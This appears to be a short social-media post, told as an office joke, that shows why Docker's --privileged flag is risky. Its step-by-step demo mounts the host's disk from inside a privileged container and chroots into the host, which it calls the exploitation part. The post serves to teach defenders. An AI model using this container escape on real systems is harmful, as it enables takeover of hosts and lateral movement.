A grumpy ItSec guy walks through the office when he overhears an exchange of words.
Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!
ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.
Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?
Here's why (one, simple example):
Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference.
1) Start two containers.
docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu
2) Inspect /dev in the unprivileged container.
docker exec -it ubuntu-unprivileged bash
ls /dev
exit
You'll only see a limited set of devices. No disk access.
3) Now inspect /dev in the privileged container.
docker exec -it ubuntu-privileged bash
ls /dev
/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.
4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.
mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever
5) You can now enumerate - and access - the Docker host's logical volume.
ls -la /tmp/whatever
6) If you wish, you can even chroot into the host:
chroot /tmp/whatever /bin/bash
The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.
Usually the grumpy guy means well. He just doesn't know how to explain it properly.
#devops #programming #webdev #java #linux #cybersecurity #php #nodejs
ilyess
Cypher1984
Matoo Watoo
chronohart
Spelling Mistakes Cost Lives
ReynardSec